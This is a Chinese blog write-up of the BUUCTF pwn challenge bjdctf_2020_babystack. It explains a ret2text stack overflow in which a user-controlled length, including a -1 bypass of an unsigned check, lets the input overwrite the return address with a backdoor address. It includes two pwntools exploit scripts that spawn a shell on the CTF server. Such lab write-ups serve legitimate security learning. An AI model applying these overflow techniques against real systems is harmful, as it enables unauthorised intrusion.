week6-T1


Week 6 T1 bjdctf_2020_babystack

2023-02-05WP
BUUCTF pwn 第十一题
考点:ret2text

省略第一步……只开了NX

__isoc99_scanf(“%d”, &nbytes) 让用户输入下次输入时接受的数据的长度

read(0, &buf, (unsigned int)nbytes) 用户可以控制长度,实现栈溢出

0x02

打开IDA

找到有/bin/sh
找到后门函数

buf占用的空间为0x10

0x03

exp

from pwn import * 

p = remote('node4.buuoj.cn',29891)

backdoor_addr = 0x4006e6

payload =b 'a' * (0x10+8) + p64(backdoor_addr)

p.sendline(b'100')
p.sendline(payload)

p.interactive()

0x04

发现这样也不错,交给工具来找地址

  • 变量(unsigned int)nbytes用户可控,且是个无符号函数
  • 可用-1进行绕过,这样用户可输入的数据长度就十分巨大了
  • 接着调用backdoor()即可getshell
from pwn import *

#start
# r = process("../buu/bjdctf_2020_babystack")
r = remote("node4.buuoj.cn",29891)
elf = ELF("../buu/bjdctf_2020_babystack")

#params
backdoor_addr = elf.symbols['backdoor']

#attack
r.recvuntil(b"your name:")
r.sendline("-1")
r.recvuntil(b"name?")
payload = b'M' * (0x10 + 8) + p64(backdoor_addr)
r.sendline(payload)

r.interactive()

文章作者: lmarch2
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 lmarch2 !
评论
  目录